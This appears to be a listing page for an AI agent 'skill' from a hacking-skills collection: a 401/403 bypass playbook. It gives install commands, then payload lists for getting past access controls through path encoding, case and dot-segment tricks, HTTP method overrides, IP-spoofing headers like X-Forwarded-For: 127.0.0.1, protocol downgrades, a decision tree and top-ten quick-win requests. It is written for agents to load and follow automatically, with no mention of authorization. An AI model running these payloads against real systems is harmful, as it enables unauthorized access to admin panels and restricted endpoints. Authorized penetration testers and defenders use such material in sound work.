401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill 401-403-bypass-techniques- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads 401-403-bypass-techniques automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: 401/403 Bypass Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.
0. RELATED ROUTING
- authbypass-authentication-flaws — broader auth bypass (login flaws, session handling)
- waf-bypass-techniques — when bypass is WAF-specific rather than access control
- http-host-header-attacks — Host header manipulation for routing bypass
- request-smuggling — smuggle past access controls entirely
- http2-specific-attacks — h2c smuggling to bypass proxy ACLs
1. PATH MANIPULATION BYPASSES
The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.
1.1 Trailing Slash / Missing Slash
/admin → 403
/admin/ → 200 ✓ (trailing slash)
/admin/. → 200 ✓ (trailing dot)
1.2 Case Sensitivity
/admin → 403
/Admin → 200 ✓
/ADMIN → 200 ✓
/aDmIn → 200 ✓
Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).
1.3 URL Encoding
/admin → 403
/%61dmin → 200 ✓ (encode 'a')
/admi%6e → 200 ✓ (encode 'n')
/%61%64%6d%69%6e → 200 ✓ (full encode)
1.4 Double URL Encoding
/admin → 403
/%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f → 200 ✓
/admin..%252f → 200 ✓
1.5 Unicode / UTF-8 Encoding
/admin → 403
/admi%C0%AE → 200 ✓ (overlong UTF-8 for '.')
/admi%C0%6E → 200 ✓ (overlong encoding)
/%C0%AFadmin → 200 ✓ (overlong '/')
1.6 Dot-Segment / Path Traversal
/admin → 403
/./admin → 200 ✓
//admin → 200 ✓
/admin/./ → 200 ✓
/.//admin → 200 ✓
/admin..;/ → 200 ✓ (Tomcat path parameter)
1.7 Null Byte
/admin → 403
/admin%00 → 200 ✓
/admin%00.json → 200 ✓
/%00/admin → 200 ✓
1.8 Path Parameter Injection
/admin → 403
/admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param)
/admin; → 200 ✓
/admin;x → 200 ✓
1.9 Trailing Special Characters
/admin%20 (space) /admin%09 (tab) /admin? (empty query)
/admin.json /admin.html /admin/~
1.10 Backslash (Windows/IIS)
/admin\ /admin\..\/ \..\admin
1.11 Combined Path Tricks
///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
2. HTTP METHOD BYPASS
2.1 Direct Method Change
GET /admin → 403
POST /admin → 200 ✓
PUT /admin → 200 ✓
PATCH /admin → 200 ✓
DELETE /admin → 200 ✓
OPTIONS /admin → 200 ✓ (may leak allowed methods)
TRACE /admin → 200 ✓ (may reflect headers — XST)
HEAD /admin → 200 ✓ (same as GET but no body — confirms access)
2.2 Method Override Headers
When the proxy blocks by method, but the backend reads override headers:
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT
GET /admin HTTP/1.1
X-Method-Override: POST
GET /admin HTTP/1.1
X-HTTP-Method: DELETE
POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT (in POST body — Rails, Laravel)
2.3 Custom / Invalid Methods
FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST
GETS /admin HTTP/1.1 → typo-like methods may bypass
CONNECT /admin HTTP/1.1 → proxy may tunnel
PROPFIND /admin HTTP/1.1 → WebDAV method
MOVE /admin HTTP/1.1 → WebDAV method
3. HEADER-BASED BYPASS
3.1 URL Rewrite Headers (Nginx/IIS)
These headers tell the backend the "real" URL, bypassing proxy-level path checks:
GET / HTTP/1.1
X-Original-URL: /admin
GET / HTTP/1.1
X-Rewrite-URL: /admin
The proxy sees GET / (allowed), but the backend routes to /admin.
3.2 IP Spoofing Headers (Whitelist Bypass)
Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal), 0x7f000001 (hex), localhost
3.3 Other Header Tricks
Referer: https://target.com/admin # Referrer check bypass
Origin: https://target.com # Origin check bypass
Host: localhost # Host header manipulation
X-Forwarded-Host: localhost # Forwarded host
Content-Type: application/json # Content-type switch
X-Requested-With: XMLHttpRequest # AJAX flag
4. PROTOCOL VERSION BYPASS
# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0
# HTTP/0.9 (extremely legacy — no headers)
GET /admin
# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses
5. VERB TAMPERING + PATH COMBINATION
Combine multiple techniques for higher success rate:
POST / HTTP/1.1 # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET
GET /%61dmin HTTP/1.1 # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1
GET /Admin HTTP/1.0 # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1
6. TECHNOLOGY-SPECIFIC BYPASSES
| Server | Key Tricks |
|---|---|
| Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) |
| Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin |
| IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 |
| Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) |
| Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |
7. AUTOMATED TOOLS
| Tool | Purpose | URL |
|---|---|---|
| byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |
| 403bypasser | Automated header/path/method bypass | github.com/sting8k/403bypasser |
| dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |
| feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster |
| Burp Intruder | Custom payload lists for manual testing | portswigger.net |
byp4xx usage
# Basic usage
./byp4xx.sh https://target.com/admin
# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found
8. DECISION TREE
Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│ ├── /path/ (trailing slash)
│ ├── /PATH (case change)
│ ├── /path%20 (trailing space)
│ ├── /./path (dot segment)
│ ├── //path (double slash)
│ ├── /path;x (path parameter — Java/Tomcat)
│ ├── /path..;/ (Tomcat specific)
│ ├── /%2e/path (encoded dot)
│ ├── /path%00 (null byte)
│ ├── /path%23 (encoded hash)
│ └── Result? → 200 = bypass found
│
├── Path tricks failed → Try METHOD BYPASS
│ ├── POST/PUT/PATCH/DELETE/OPTIONS
│ ├── HEAD (same as GET without body)
│ ├── X-HTTP-Method-Override: PUT
│ └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│ ├── X-Original-URL: /path (Nginx/IIS rewrite)
│ ├── X-Rewrite-URL: /path (same concept)
│ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│ ├── X-Real-IP: 127.0.0.1
│ ├── True-Client-IP: 127.0.0.1
│ └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│ ├── HTTP/1.0 instead of 1.1
│ ├── HTTP/2 h2c smuggling (../http2-specific-attacks/)
│ └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│ ├── Method + Path: POST /PATH/
│ ├── Header + Path: X-Forwarded-For + /path%20
│ ├── All three: POST + X-Original-URL + IP headers
│ └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│ ├── Request smuggling (../request-smuggling/) → smuggle past ACL
│ ├── SSRF (../ssrf-server-side-request-forgery/) → access from server
│ ├── IDOR (../idor-broken-object-authorization/) → access data directly
│ └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
│
└── Automated scan with byp4xx / 403bypasser for completeness
9. QUICK REFERENCE — KEY PAYLOADS
# Top 10 quick-wins (try these first)
GET /admin/ HTTP/1.1 # trailing slash
GET /Admin HTTP/1.1 # case change
GET /admin%20 HTTP/1.1 # trailing space
GET /./admin HTTP/1.1 # dot segment
GET //admin HTTP/1.1 # double slash
POST /admin HTTP/1.1 # method change
GET / HTTP/1.1 # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS path param
GET /admin..;/ HTTP/1.1 # Tomcat bypass
FAQ
What does the 401-403-bypass-techniques skill do?
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
How do I install 401-403-bypass-techniques?
Run npx skills add https://github.com/yaklang/hack-skills --skill 401-403-bypass-techniques in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/401-403-bypass-techniques/ (personal) or .claude/skills/401-403-bypass-techniques/ (project).
Which AI agents can use 401-403-bypass-techniques?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is 401-403-bypass-techniques safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains 401-403-bypass-techniques?
It is published by yaklang in yaklang/hack-skills. It has 3,792 recorded installs.
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